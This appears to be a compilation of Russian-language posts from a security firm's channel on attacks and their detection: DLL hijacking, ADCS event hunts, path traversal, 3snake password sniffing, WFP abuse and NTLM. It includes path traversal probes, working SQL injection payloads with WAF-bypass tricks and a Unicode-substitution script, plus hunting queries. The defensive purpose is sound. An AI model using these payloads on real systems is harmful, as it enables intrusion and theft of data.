В конце сентября в популярном редакторе Notepad++ версии 8.8.3 была обнаружена уязвимость типа DLL Hijacking (CVE-2025-56383) и опубликован соответствующий PoC.

Суть проблемы: если приложение загружает DLL по относительному или неполному пути, Windows может найти и подгрузить DLL из каталога с более высоким приоритетом (binary search order / DLL search path).

Используя этот механизм, злоумышленник может заставить приложение загрузить поддельную DLL вместо легитимной, что приводит к выполнению произвольного кода в контексте пользователя, запустившего программу.

Пока что ИБ-сообщество спорит, действительно ли уязвимость является опасной — ведь её эксплуатация требует довольно высоких привилегий в системе. Но пример в целом интересный, поэтому мы посмотрим, как работает эксплуатация и как защищаться от подобных атак.

Атака действительно требует доступа к файловой системе цели (локально или через ранее полученный доступ), но не всегда требует взаимодействия пользователя, помимо запуска приложения.

В отсутствие жёсткой привязки к полным абсолютным путям при загрузке внешних библиотек, при вызове LoadLibraryA/LoadLibraryW без полного пути и без безопасных флагов (например, LOAD_LIBRARY_SEARCH_SYSTEM32/LOAD_LIBRARY_SEARCH_USER_DIRS) загрузчик Windows применяет алгоритм поиска библиотеки по набору директорий вместо однозначного файла. И что существенно — Windows не выполняет проверку цифровой подписи при вызове LoadLibrary.

Алгоритм эксплуатации:

— Приложение вызывает LoadLibrary("evil.dll") без полного пути и без безопасных флагов.

— Поиск находит evil.dll в каталоге приложения или в текущем рабочем каталоге, где непривилегированные пользователи имеют право записи.

— Атакующий ранее подменил dll. Подпись файла не проверяется, поэтому загрузчик выполняет его код в контексте процесса, что даёт атакующему возможности выполнения кода с правами процесса.

На скриншоте выше показан пример с поддельной библиотекой NppExport.dll. После подстановки такого файла (уже переименованная нежелательная библиотека с функционалом загрузчика) при запуске Notepad++ вызывается вредоносный код.

Для детектирования подобных атак нужно обращать внимание на:

— Наличие в директориях часто используемых приложений DLL с именами, совпадающими с системными/ожидаемыми библиотеками.

— Отсутствие цифровой подписи или подписи от неизвестного издателя у загруженных модулей.

В целом, есть ещё много приложений, которые допускают DLL Hijacking. И поскольку ручной анализ сотен загружаемых библиотек — довольно трудоёмкий процесс, имеет смысл детектировать DLL Hijacking с помощью систем на основе машинного обучения. О нескольких реальных инцидентах, которые удалось обнаружить таким способом, читайте в статье наших экспертов.

Cо вчерашнего дня компания Microsoft официально прекратила поддерживать Windows 10. Поэтому ожидается рост числа систем под управлением Windows 11, и специалистам по реагированию на инциденты будет полезно узнать о новых артефактах этой ОС, которые можно использовать в расследованиях.

Вот например, в прошлом году в Windows 11 добавили новую опцию Recall с очень спорным функционалом. Каждые несколько секунд Recall делает снимки пользовательского экрана, а затем анализирует их c помощью искусственного интеллекта и сохраняет метаданные в специальных базах для поиска.

Неудивительно, что СМИ сразу окрестили эту функцию "шпионской", а пользователи побежали читать инструкции по отключению этого фотоаппарата.

Сейчас опция Recall по умолчанию отключена в корпоративных сборках Windows 11. Однако представим, что её активировали злоумышленники или вредоносное ПО (или просто любопытный админ). В этом случае артефакты Recall будут очень полезны для анализа инцидента: благодаря им можно подробно восстановить активность злоумышленника в скомпрометированной системе.

Вот несколько фактов об этих артефактах:

— Необработанные изображения снимков экрана в формате JPEG можно найти по пути %AppData%\Local\CoreAIPlatform.00\UKP\{GUID}\ImageStore\*. В качестве имен файлов используются идентификаторы снимков экрана.

— Вместе со снимками экрана сохраняются их метаданные, которые записываются в стандартный тег Exif.Photo.MakerNote (0x927c) и содержат множество интересной информации: например, если во время создания снимка экрана используется браузер, могут быть сохранены URI, домен и т. д.

— За включение и отключение сохранения снимков экрана отвечает ключ пользовательского куста реестра Software\Policies\Microsoft\Windows\WindowsAI\. Также в последних сборках Windows 11 Microsoft добавили несколько новых ключей реестра, связанных с управлением Recall.

— Наиболее полезной для расследователя будет база данных SQLite по адресу %AppData%\Local\CoreAIPlatform.00\UKP\{GUID}\ukg.db, состоящая из 20 таблиц. В них можно найти не только данные о процессе, запустившем окно графического интерфейса приложения (полный путь процесса, время запуска и т.д.), но и содержимое снимков экрана (текст со скриншотов, распознанный при помощи Optical Character Recognition).

Подробнее об этих и других изменениях в артефактах Windows 11, которые наиболее интересны с точки зрения форензики — в статье Кирилла Магаськина.

Мы часто видим, что в различных статьях по детектированию техник повышения привилегий с использованием ADCS (ESC-атаки) авторы до сих пор используют старый формат событий запросов сертификатов в ADCS (события 4886—4889). Однако в этом году компания Microsoft обновила формат упомянутых событий, и обновлённая схема даёт намного больше возможностей для написания хантов.

К сожалению, документации от Microsoft на эти события пока нет. Но несложно догадаться, какая информация содержится в каждом новом поле.

На скриншоте выше показано, как выглядит событие 4886 при запросе сертификата с использованием ESC1-уязвимого шаблона утилитой certify.

В обновлённом формате видно использованный шаблон, subjectAltName (SAN) в CSR, RequestClientInfo с пользователем, хостом и даже процессом из COM-объекта, использованный протокол для запроса (RPC или DCOM) и т.д.

А вот как выглядит теперь событие 4887 при таком запросе:

Certificate Services approved a certificate request and issued a certificate. 

Request ID:        79 
Requester:        ESSOS\daenerys.targaryen 
Attributes:         
 
ccm:meereen.essos.local 
Disposition:        3 
SKI:  93 be 4b 84 64 d7 19 20 6e 94 82 4d 1f ed 86 a5 c1 2c 0e 09 
Subject:        CN=daenerys.targaryen, CN=Users, DC=essos, DC=local 
Subject Alternative Name: 
Other Name: 
     Principal Name=viserys.targaryen 

Certificate Template:        ESC1 
Serial Number:                200000004f317b974a5431d29a00000000004f 
Authentication Service:        Kerberos 
Authentication Level:        Privacy 
DCOMorRPC:                DCOM 

Здесь, помимо уже перечисленных полей, наконец-то появился Serial Number сертификата. Его можно использовать при поиске событий запроса TGT-билетов с выданным сертификатом (поле CertSerialNumber).

К сожалению, до сих пор нет информации об IP-адресе клиента, ApplicationPolicy в запросе, SID Extension в выданном сертификате. Но даже с таким набором полей уже намного удобнее работать, и гораздо меньше необходимости обогащать события данными из БД ADCS.

Рекомендуем обновить ваши ADCS-сервера, если вы ещё этого не сделали, и проверить, настроены ли ваши аудиты. А мы в следующем посте расскажем, как можно использовать новые поля в хантах для детектирования ESC-атак.

Как мы рассказывали в прошлом посте, Microsoft наконец-то обновил события запросов сертификатов ADCS (4886-4889), что даёт больше возможностей для детектирования техник ESC ADCS. Например, теперь можно легко детектировать запросы с указанием SAN в CSR, что используется, в частности, для атаки ESC1:

EventID:4886 AND  
EventData.SubjectAlternativeName:* 

Также во многих инфраструктурах обычно используется протокол DCOM для запросов сертификатов, а запросы с использованием RPC являются очень редкими. Стоит обращать внимание на такие подозрительные запросы:

EventID:(4886 OR 4887 OR 4888 OR 4889) AND  
EventData.DCOMorRPC:"RPC"  

А ещё в событиях появилось поле AuthenticationLevel, которое можно использовать для детектирования запросов сертификатов с использованием RPC при отключенном packet privacy, за который отвечает флаг ENFORCEENCRYPTICERTREQUEST (техника ESC11):

EventID:(4886 OR 4887 OR 4888 OR 4889) AND  
EventData.DCOMorRPC:"RPC" AND  
EventData.AuthenticationLevel:"Connect" 

По данным из поля RequestClientInfo можно детектировать все необычные процессы, которые используют DCOM и заполняют данные о процессе, имени хоста и пользователя при создании COM-объекта. Отфильтруйте все стандартные для вашей инфраструктуры и обращайте внимание на все необычные, например:

EventID:4886 AND  
RequestClientInfo:* AND  
NOT RequestClientInfo:(*MMC.EXE* OR *taskhostw.exe* OR *dmcertinst.exe* OR *certreq.exe*) 

О других способах детектирования атак ESC9-ESC15, а также о том, как самостоятельно воспроизвести их на актуальных версиях ОС, вы можете узнать из видеозаписи доклада Дмитрия Щетинина и Андрея Скаблонского на OFFZONE-2025. Дополнительные материалы по докладу (события, ханты и др.) выложены в Гитхабе.

Про уязвимости типа Path Traversal должен знать даже начинающий пентестер. И не только потому, что этот вопрос может попасться на собеседовании. Когда приложение начинает доверять пути из запроса больше, чем своей собственной логике, появляются те самые "../", позволяющие выбраться за пределы разрешённого каталога и добраться до конфигов, исходников, логов – всего, что процесс может прочитать.

OWASP формально относит Path Traversal к категории A01:2021 (Broken Access Control), но по факту, это ошибка валидации входных данных при работе с файловой системой, а не сбой в логике авторизации. И на практике Path Traversal остается актуальной угрозой даже в зрелых продуктах.

Яркий пример – уязвимости CVE-2024-5865 и CVE-2024-5866 в Centrify PAS. Первая из них позволяла читать произвольные файлы за счёт передачи пути с последовательностями типа ../, открывая доступ и к системным файлам, и к конфигурациям с ключами. А благодаря второй CVE можно было получать списки содержимого директорий за пределами корня приложения. Комбинация этих багов давала возможность сориентироваться в структуре каталогов, а затем прицельно считывать нужные файлы, давая полный доступ на чтение в пределах прав процесса.

Для систем, работающих с секретами (PAM, хранилища учётных данных), эксплуатация Path Traversal особенно неприятна. Случай из нашей практики: через обход каталогов с помощью Path Traversal забрали конфигурации с секретом для расшифровки шифротекста, который хранился в базе данных. А затем, используя SQL-инъекцию, вычитали зашифрованные строки с паролями, и использовали их для развития атаки.

Итого: незакрытая уязвимость Path Traversal ведёт к утечкам секретов, облегчает атакующим разведку и создаёт репутационные риски. При этом Path Traversal часто выглядит как «ошибка обработки строк», но по сути это проблема валидации входных данных. И даже единичная ошибка валидации пути, кажущаяся несущественной, может стать входной точкой в серьёзную цепочку компрометаций.

Как выявить Path Traversal на тестировании:

– Экспериментируйте с ../ в URL и параметрах, пробуйте различные энкодинги (%2e%2e%2f, %252e%252e%252f), используйте null bytes (%00).

– Тестируйте абсолютные пути (/etc/passwd, C:\windows\system32\drivers\etc\hosts) и длинные пути для обхода фильтров.

– Проверяйте работу с файловыми операциями в разных частях приложения: загрузка, экспорт, логи, бэкапы. Для разминки (в WebGoat или аналоге) можно погонять варианты с ../ и посмотреть логи: как атаку можно отследить? Помните, что Path Traversal легко упустить на ручном тестировании, если не проверять все файловые операции приложения.

«Взрослые» вендоры реагируют быстро при грамотном репорте: обе вышеописанные уязвимости были закрыты после нашего уведомления.

Как защищаться от Path Traversal:

– Не пускать пользовательский ввод напрямую в файловую систему. Вместо реальных имён файлов использовать контролируемые идентификаторы (UUID, хэши), а всю обработку путей на сервере делать через каноникализацию и проверку принадлежности целевого пути разрешённому корню. Любые «..», странные симлинки и попытки вывернуться за пределы директории должны отбрасываться.

– Изолировать пространство пользовательских файлов: отдельный логический диск/маунт, chroot или контейнеры в Unix, отдельная буква диска в Windows.

– Жёстко ограничивать права сервисного пользователя по принципу наименьших привилегий. Включить превентивные слои: сигнатуры WAF на обход каталогов, мониторинг и алерты по нетипичным путям в логах.

– Если вы пользуетесь Centrify PAS, проверьте версии и установите обновления. Своевременные патчи, правильный процесс управления уязвимостями, регулярный аудит и наблюдение за журналами – обязательная гигиена против Path Traversal.

Никто не знает точно, как выглядит мифический китайский зверь Цилинь. В одних источниках его описывают как копытного дракона с рогами, но в других намекают, что он больше похож на жирафа. А для нас это просто редкая возможность разместить здесь красивую старинную картинку для привлечения внимания, вместо скучного скриншота с кодами.

Ну а теперь — про коды. В проектах по анализу защищённости одним из самых трудоёмких дел является фаззинг прошивок. Здесь и приходит на помощь фреймворк для эмуляции Qiling, названный в честь сказочного зверя Цилиня.

Qiling ведёт своё происхождение от другого мифического существа — Единорога, то есть фреймворка Unicorn, что обещает нам обилие эмулируемых архитектур (8086, X86, X86_64, ARM, ARM64, MIPS, RISC-V, PowerPC). Архитектурное разнообразие Unicorn имеет обратную сторону в виде отсутствия возможностей по работе с кодом, предполагающим запуск в операционных системах (syscalls, FS, etc.).

Здесь-то Qiling и проявляет себя во всей красе. Он не просто имеет хороший набор уже реализованных сущностей, но и предоставляет минималистичные rootfs-ы для многих наборов архитектур и операционных систем. А ещё всё это имеет реализацию на Python, что позволяет почти безболезненно дописывать что-то отсутствующее прямо "на ходу".

Подробнее о том, как фаззить с помощью копытного дракона — читайте в статье Никиты Прошина "Расчехляем Qiling, или Фаззинг прошивок: эмуляция вместо железа".

Если вы работаете в SOC, то наверняка видели, какой зоопарк библиотек и экспортируемых функций может запускать системный процесс rundll32. Согласно отчётам нашей команды MDR, это вторая по частоте (после powershell) системная компонента, которую используют злоумышленники для запуска вредоносов.

Однако угрозу можно детектировать, если определить, чего rundll32 никогда не должен запускать. Например, функции, релевантные COM-серверам. Процесс rundll32 не должен хостить COM-сервер, не должен регистрировать его.

А вот функции, которые нужны для работы с COM:

— DllGetClassObject — ключевая точка входа COM: рантайм вызывает её, чтобы получить указатель на фабрику нужного CLSID. Обязательна для DLL, которые реально создают COM-объекты.

— DllCanUnloadNow — используется Service Control Manager/COM-рантаймом для решения, можно ли выгружать библиотеку (возвращает S_OK/S_FALSE).

— DllRegisterServer / DllUnregisterServer — создают/чистят записи в реестре. Это те самые точки, которые вызывает regsvr32.

— DllInstall (необязательная) — установочные сценарии (per-user/per-machine, дополнительные шаги); вызывается только по /i.

Значит, мы можем создать хант для ловли rundll32.exe, который дергает одну из перечисленных функций — такого операционка делать не должна:

cmdline:(
"rundll32.exe" AND
(
"DllRegisterServer" OR "DllUnregisterServer" OR
"DllGetClassObject" OR "DllCanUnloadNow" OR
"DllInstall"
)
)

В 2016 году один из банков Индонезии подвергся атаке хакерской группы Lazarus. В инфраструктуре банка ИБ-эксперты нашли полный джентльменский набор этой группы: инструменты для горизонтального перемещения по корпоративной сети, клавиатурный шпион для кражи банковских данных, модуль для подключения к SWIFT, туннели для связи с управляющими серверами, вайпер для зачистки… А точкой входа для злоумышленников стал сайт банка, заражённый вредоносным скриптом.

В ходе расследования выяснилось, что за несколько месяцев до атаки банк заказывал анализ защищённости своего нового веб-сервера. И в отчёте пентестера была показана возможность внедрения на веб-сервер вредоносных скриптов. Но банк не закрыл найденную уязвимость, и ею воспользовались злоумышленники. Детали этой попытки ограбления можно найти здесь.

И вот спустя 10 лет — очень похожая история. Разработчики децентрализованного финансового сервиса BetterBank на основе блокчейн-платформы PulseChain заказали анализ защищённости. В результате исследования протокола BetterBank была найдена уязвимость в системе начисления бонусов. При этом пентестеры показали заказчику не только PoC, но и необходимый патч.

Но заказчик не исправил уязвимость, сочтя её некритичной. Через месяц злоумышленник вывел из BetterBank активы на сумму около 5 миллионов долларов, используя именно этот косяк в архитектуре протокола. Подробности взлома — в статье нашего эксперта Эльсайеда Эльрефаэя.

Наши эксперты заметили использование злоумышленниками утилиты 3snake для кражи паролей. Расскажем, как её детектировать. Но для начала разберёмся, что она делает.

— Детект спауна целевых процессов: 3snake открывает сокет AF_NETLINK с протоколом NETLINK_CONNECTOR и подписывается на proc events (CN_PROC). Приходит событие fork/exec/exit/... и он видит новых sshd-детей и sudo. Это стандартный механизм ядра для уведомлений о процессах.

— Докопаться до процесса: 3snake делает ptrace(PTRACE_ATTACH) на подходящие PID и начинает трассировку системных вызовов. Это классическая техника, как у утилиты strace.

— Извлечение секрета: 3snake ловит входы/выходы read/readv (иногда и write/writev — чтобы синхронизироваться по промптам Password:) и читает содержимое пользовательских буферов процесса-цели (через ptrace-чтение памяти или process_vm_readv-подобные техники). Именно там оказываются введённые пользователем пароли к sshd и sudo. Это ровно то, что делают и демонстрационные приёмы со strace — перехватить read() по дескриптору TTY и прочитать байты ввода.

Важно понимать, что это не дамп всего /proc/<pid>/mem , как делает mimipenguin или linikatz. Утилита 3snake целенаправленно «подслушивает» пароли в момент их ввода.

— Модель применения: 3snake работает только с root (или с CAP_SYS_PTRACE). Не пишет в память цели, а спаунит отдельный воркер под каждый целевой процесс (ребёнок sshd, инстанс sudo).

Что детектировать:

Вызовы ptrace(PTRACE_ATTACH), где в качестве цели — один из "святых" процессов: sshd, sudo, gnome-keyring, login и т.д.

Почему это важно: никто легитимно не дебажит sshd или gnome-keyring на продакшене. А если делает — пусть объясняет.

Для получения данных о ptrace(PTRACE_ATTACH) используйте auditd, eBPF/kprobes, Tetragon, Tracee — всё, что умеет следить за sys_ptrace и скажет вам, кто target.

Дополнительно: AF_NETLINK + NETLINK_CONNECTOR — любимый способ атакующего подслушивать, когда появляется цель.

Целевые процессы, интересующие 3snake:

Аутентификация: sshd, sudo, su, passwd, login, systemd-logind, polkitd, pkttyagent, authentication*, policykit*, polkit*

Хранение секретов: gpg-agent, pinentry*, ssh-agent, ssh-askpass, ksshaskpass, gnome-keyring-daemon, kwalletd, kwalletd5

Сетевые клиенты и VPN: NetworkManager, nm-applet, openvpn, openconnect, xrdp, smbclient, mount.cifs

Сессии и экраны: gdm-session-worker, gnome-shell, lightdm-gtk-greeter, i3lock, swaylock, xscreensaver, kwin_wayland

Передача файлов и базы данных: ssh, scp, sftp, rsync, psql, mysql, mongo

Браузеры и IPC: chrome, chromium, dbus-daemon, sssd_kcm, winbindd, vino-server, Xvnc, x0vncserver

Эти цели и ищите в вашей телеметрии:

path:(
"sshd" OR "sudo" OR "su" OR "passwd" OR
"login" OR "systemd-logind" OR "polkitd" OR
"pkttyagent" OR *authentication* OR *policykit* OR *polkit* OR
"gpg-agent" OR pinentry* OR "ssh-agent" OR "ssh-askpass" OR "ksshaskpass" OR
"gnome-keyring-daemon" OR "kwalletd5" OR "kwalletd" OR "NetworkManager" OR
"nm-applet" OR "openvpn" OR "openconnect" OR "gdm-session-worker" OR
"gnome-shell" OR "sddm-greeter" OR "lightdm-gtk-greeter" OR "i3lock" OR
"swaylock" OR "xscreensaver" OR "gnome-shell" OR "kwin_wayland" OR
"ssh" OR "sftp" OR "scp" OR "rsync" OR "psql" OR "mysql" OR "mongo" OR
"mount.cifs" OR "smbclient" OR "xrdp" OR "xrdp-sesman" OR
"x0vncserver" OR "Xvnc" OR "vino-server" OR
"sssd_kcm" OR "winbindd" OR
"chrome" OR "chromium" OR
"dbus-daemon"
)

И поисключайте, конечно

отладчик_типа:(
"chrome_crashpad_handler" OR "chromium-browser" OR
"chromium-gost"
) AND
цель_типа:(
"chromium-gost" OR "chromium-browser" OR "chrome" OR
"chromium"
)

отладчик:(
"/bin/strace" OR "go/bin/dlv"
)

Windows Filtering Platform (WFP) – это набор программных интерфейсов и системных служб, предоставляющих платформу для создания приложений, которые выполняют сетевую фильтрацию. API WFP взаимодействует с обработкой пакетов на различных уровнях сетевого стека операционной системы: сетевые данные могут быть отфильтрованы, а также изменены до того, как они достигнут своего назначения.

Но как часто бывает, инструменты разграничения сетевого доступа и безопасности в некоторых сценариях используют злоумышленники.

Так, WFP может использоваться для блокировки исходящего и входящего трафика с прицелом на какой-либо процесс, чтобы изолировать его сетевое взаимодействие – например, получение обновлений, отправку телеметрии, получение конфигурационной информации с сервера управления, удаленный административный доступ.

Аналогичным образом атакующий может удалить действующие правила сетевого доступа к приложениям и сетевым портам на узле.

Также WFP позволяет модифицировать пакеты, например, для перенаправления трафика на другой узел, для защиты от прослушивания трафика или для маскировки сетевого взаимодействия.

Как детектировать?

Чтобы выявлять подобные активности на основе WFP, необходимо включить аудит, связанный с WFP, в расширенной политике аудита (только не забывайте проводить тесты при включении аудита, поскольку события сетевого взаимодействия с узлов могут в значительной степени увеличить поток событий с узла).

С помощью данного аудита можно отслеживать появление новых провайдеров, не связанных с установленными средствами защиты и сетевого управления, появление новых правил, связанных с блокировкой (block), или сброс пакетов (drop) по целевым портам и по исполняемым файлам приложений.

Для сбора событий, связанных с изменением конфигурации WFP, в том числе и регистрации новых провайдеров, включите:

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policies Configuration > Audit Policies > Policy Change > Audit Filtering Platform Policy Change

Для сбора событий сетевого взаимодействия и блокировки трафика:

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policies Configuration > Audit Policies > Object Access > Audit Filtering Platform Connection

Для сбора событий сброса сетевых соединений:

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policies Configuration > Audit Policies > Object Access > Audit Filtering Platform Packet Drop

Также стоит обращать внимание на события обработки трафика по критичному ПО, узлам и портам, связанным с уже созданными действующими правилами.

Дополнительно к этому, появление новых провайдеров можно отслеживать в этой ветке реестра:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE\Parameters\Policy\Persistent\Provider

А новые фильтры – вот в этой ветке:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE\Parameters\Policy\Persistent\Filter

Продолжаем рассказывать поучительные истории из практики нашей «красной команды». Во время недавнего пентеста мы столкнулись с интересной SQL-инъекцией в Microsoft SQL Server: эта инъекция обошла WAF, призванный защищать сервер. Точка инъекции оказалась в имени ключа JSON, а не в значении.

Один из запросов к API выглядел так:

POST /webapi/...WithPagination HTTP/1.1
Content-Type: application/json

{
  "PageNo": 1,
  "PageSize": 20,
  "SortOrder": "DESC",
  "TabFilter": {
    "StagePendingWith": "TEST"
  },
  "RequestType": "..."
}

Имя поля из TabFilter шло в динамический WHERE без whitelisting’а и параметризации, так что его можно было превратить в часть SQL-выражения:

"TabFilter": {
  "StagePendingWithI like '%' and 1=convert(INT,@@version)) --": "TEST"
}

Перед приложением стоял WAF, который блокировал конструкции вроде and 1=1 и ключевые слова select, union, version, convert, exec, cast и т.п., возвращая страницу «Web Page Blocked». Однако сигнатура для and 1=1 оказалась чувствительна к точному тексту. Мы отправили вариант, в котором просто добавлен двойной бэкслэш:

"StagePendingWithI like '%' and\\1=convert(INT,@@version)) --": "TEST"

Правило WAF для блокировки and 1=1 не сработало, когда в HTTP-теле встретилась строка and\\1=.... После разбора JSON комбинация слэшей интерпретировалась иначе, и до SQL-сервера дошло валидное and 1=convert(INT,@@version).

Что касается блокировки ключевых слов по «чёрному списку», её можно обойти приёмом Unicode Normalization, используя таблицу эквивалентных Unicode-символов. Например, можно заменить обычную n (U+006E) на широкую ｎ (U+FF4E):

and\\1=coｎvert(INT,versioｎ())

Для WAF это уже не version из чёрного списка, а другая строка versioｎ, и сигнатура не сработала. Дальше строка попала в приложение, где при нормализации Unicode «широкие» символы превратились в обычные ASCII. В итоге до SQL-сервера доехало привычное version и выражение выполнилось. Ответ сервера содержал ошибку:

> Conversion failed when converting the nvarchar value
> 'Microsoft SQL Server 2019 (RTM-CU32-GDR) …'
> to data type int.

Таким образом, наш error-based payload отработал, и мы узнали версию СУБД за WAF’ом.

Чтобы не подбирать варианты вручную, мы написали кастомный тег для Hackvertor, автоматически подменяющий часто используемые символы на full-width/Unicode-аналоги. Инструмент заметно ускоряет генерацию payload’ов под конкретный WAF, не жертвуя читаемостью. Фрагмент кода тега:

convert = {
    u'n': u'\uff4e',
    u'N': u'\uff2e',
    u's': u'\uff53',
    u'S': u'\uff33',
    u'o': u'\uff4f',
    u'O': u'\uff2f',
    u'.': u'\uff0e',
}
output = u"".join(convert.get(ch, ch) for ch in input)

SQL-инъекция в таком API позволяет не только прочитать версию SQL-сервера. В зависимости от прав учётной записи БД можно выполнять произвольные запросы и менять данные, вызывать системные процедуры и функции (например, для доступа к файловой системе или сетевым ресурсам) и развивать атаку до RCE и lateral movement (через xp_cmdshell, linked servers, UNC-пути и т.п.).

Ключевые меры защиты:

— Параметризация запросов и строгий whitelist имён полей. Имя колонок не должно приходить “как есть” из внешнего JSON.

— Минимальные привилегии учётной записи SQL Server.

— Корректная настройка WAF: нормализация Unicode до применения сигнатур и, по возможности, контекстный анализ (SQL-parsing), а не только поиск подстрок.

— Интеграция проверок в SSDLC: code review, SAST/DAST и регулярные пентесты для критичных API.

Этот кейс хорошо показывает, что даже при наличии WAF основная проблема — небезопасная логика SQL, а простые blacklist-подходы легко обходятся экранированием и особенностями Unicode.

При анализе безопасности IoT-устройств, использующих мобильную связь в качестве интерфейса для выхода в Интернет, вам наверняка потребуется развернуть свою базовую станцию. Выбор обычно падает на одно из опенсорсных решений: Osmocom либо YateBTS.

Osmocom предоставляет бОльший набор возможностей: например, можно настроить CBC, SMPP, VoIP, EGPRS (вместо GPRS в Yate). Однако при использовании Osmocom для анализа защищённости перед пентестером встаёт ряд проблем.

В первую очередь, это сложность настройки: каждая часть GSM-инфраструктуры запускается в виде отдельной программы, требующий конфигурации. Так, минимально рабочая сеть с EGPRS будет требовать конфигурации и запуска следующих программ: osmo-trx, osmo-bts, osmo-bsc, osmo-msc, osmo-hlr, osmo-stp, osmo-pcu, osmo-sgsn, osmo-ggsn.

Другая проблема — отсутствие пентестового инструментария: нужен внятный мониторинг абонентов, снифинг трафика, проксирование HTTPS-запросов, незаметное для девайсов.

Наработки нашего эксперта Евгения Великоиваненко по этой теме переросли в репозиторий osmo-nidc с отдельной веткой pentest_tooling для решения задач анализа защищённости девайсов. Здесь вы найдёте:

— разворот GSM-станции "по кнопке" docker compose up,
— возможность конфигурации основных параметров сети в одном файле ./configs/config.yml
— автонастройку EGPRS-сети (в ветке pentest_tooling сеть специально использует драйвер host для IP-связности хостовой системы пентестера с девайсами),
— возможность проксирования трафика девайсов через burp suite или прочие прокси,
— другие полезные фичи в папке ./helpers

Поддерживаются SDR-устройства LimeSDR, USRP и клоны USRP (такие, как LibreSDR и AntSDR). В общем, пользуйтесь на здоровье, экспериментируйте в своих тестовых стендах и не ломайте мобильную связь соседским бабушкам.

А бывало ли у вас так, что сидите вы в каком-то помещении, а там — то Wi-Fi подлагнёт, то Bluetooth-гарнитура «ёкнет»? Эдак раза два за день? С одной стороны, неприятно. Но с другой — это не настолько мешает жить, чтобы закапываться вглубь проблемы или обсуждать с коллегами на кухне. В итоге где-то в воздухе повисает вывод типа «да эти наушники/ноутбук уже доживают своё, что с них взять!».

Но одному из наших экспертов подобная проблема очень мешала проводить исследование нового IoT-устройства: устройство отчаянно отказывалось подключаться к Wi-Fi-хотспоту, организованному тут же на коленке. Не решил проблему и альтернативный хотспот, даже когда пациентов пододвинули вплотную друг к другу.

Казалось бы, можно свалить всё на бракованное IoT-устройство. Однако наш эксперт, припомнив некоторые истории о фантомах и призраках, решил продолжить эксперименты.

Так что если вы хотите узнать, какой аппаратурой пользуются охотники за привидениями и какой дворецкий в итоге оказался убийцей беспроводной связи — читайте детективную статью Никиты Прошина и Сергея Андреева, которая называется «Радиодело, или Кто убил мой Wi-Fi?».

Техники для обхода детектирования на Linux очень разнообразны. В нашем канале уже был пример атаки с использованием скрытого односимвольного файла. Сегодня продолжим тему и поговорим про маскирование вредоносных файлов с помощью нечитаемых или трудно различимых символов в названиях файлов.

Эти символы могут:

— не отображаться в терминале (zero-width символы),
— выглядеть как пробелы,
— визуально быть похожими на обычные буквы (гомоглифы),
— содержать Unicode-символы, не поддерживаемые шрифтами,
— приводить к «поломанному» отображению строки (символы перевода строки \n, табуляции \t, backspace \b, возврата каретки \r).

Недавно мы столкнулись с инцидентом компрометации Linux-инфраструктуры заказчика, в котором была использована подобная техника. Наряду с другой вредоносной активностью, атакующие создавали файл, который отображался как /usr/lib/udisks2/ в консоли аналитика ИБ.

Однако при более детальном рассмотрении оказалось, что название файла состоит из одного символа возврата каретки \r (см. скриншот).

Современные терминалы могут корректно отображать некоторые из подобных символов, экранируя нечитаемые символы: файл с названием из символа возврата каретки \r будет выглядеть как ''$'\r'. Но, например, в контейнерах, которые используют busybox, проблема всё ещё остается. Кроме того, подобная техника может ломать автоматизацию (логирование или отображение в SIEM и EDR), усложняя детектирование и анализ.

Как ловить?

Необходимо сканировать системы на наличие файлов, содержащих подобные символы. А аналитикам безопасности необходимо убедиться, что их инструменты корректно обрабатывают файлы, содержащие такие символы. Также можно создать детектирующие правила на основе регулярных выражений для поиска подобных файлов.

В декабре принято собирать "тренды года", и вот вам один такой пример.

В этом году в нашем канале было несколько постов об атаках, связанных с недостатками устаревшего механизма аутентификации через протокол NTLM. Это и история про уязвимость CVE-2025-24071, и заметка про NTLM Reflection. И даже призовое место в конкурсе Pentest Awards нам принёс тот кейс, в котором использовались атаки PetitPotam и NTLM Relay.

Ну чем не тренд года? Так решил и наш коллега Леандро Куоццо, который подготовил подробный обзор инцидентов с эксплуатацией NTLM в 2025 году. Основной вывод обзора: число атак на основе уязвимостей NTLM растёт, и даже после всех исправлений NTLM-аутентификация представляет собой серьезную проблему безопасности.

А главная рекомендация по защите – нужно поскорее избавиться от процессов и компонентов, требующих использования NTLM. Если же этого сделать нельзя – используйте цифровые подписи сообщений и механизм защиты EPA, а также проводите регулярный анализ NTLM-логов.

Подробности – в обзоре «Старая технология, новые уязвимости: эксплуатация протокола NTLM в 2025 году».

Летом этого года была выявлена критическая уязвимость в Windows Server 2025, которая позволяет атакующему легко подобрать пароли ко всем учетным записям типа dMSA и gMSA в домене.

Суть атаки: пароль для *MSA-учёток не записан где-то, а создаётся всякий раз, когда он нужен. Алгоритм для вычисления пароля использует KDS-материалы (постоянные ключи), пользовательский контекст (SID/имена домена и т. д.), а также функцию от времени. И вот эта функция оказалась очень простой: всего 1024 комбинации для перебора.

Как детектировать атаку: 4662, 2946/2947, 4768/4769 и 4624.

Подробности — в статье Александра Родченко "Атака Golden *MSA, бессмысленная и беспощадная".

Как известно, пчёлы бывают правильные и неправильные. Мы обещали рассказать вам про пчёл второго вида, и выполняем обещание — опубликовано полное исследование по анализу защищенности беспроводных Zigbee-сетей в промышленных средах.

В этой работе наш постоянный автор Хайдар Кабибо разбирает весь процесс Zigbee-ассессмента так, чтобы вы могли повторить его сами: от нужных «свистков» и адаптеров до набора софта, с которым удобно работать.

Исследование предполагает сценарий, где участвуют Zigbee-координатор и конечное устройство, которое управляет неким реле. Описано два вектора атаки:

— Подмена и внедрение пакетов: отправка поддельных Zigbee-команд от лица координатора, что позволяет атакующему удалённо переключать реле.

— Перепривязка эндпоинта: принудительный вывод конечного устройства из сети легитимного координатора и присоединение его к поддельному координатору атакующего, что даёт полный контроль над устройством.

Отдельный блок исследования посвящён расшифровке Zigbee-трафика: какие ключи и алгоритмы используются, где брать эти ключи и как расшифровать пакеты в Wireshark.

Кроме того, мы обнаружили нехватку общедоступных инструментов для хеширования ключа, который используется в процессе присоединения к Zigbee-сети. Поэтому написали свой инструмент и выложили в открытый доступ.

А вот полный текст исследования Хайдара: "Перехватываем рубильник: оценка безопасности протокола Zigbee в промышленной среде"

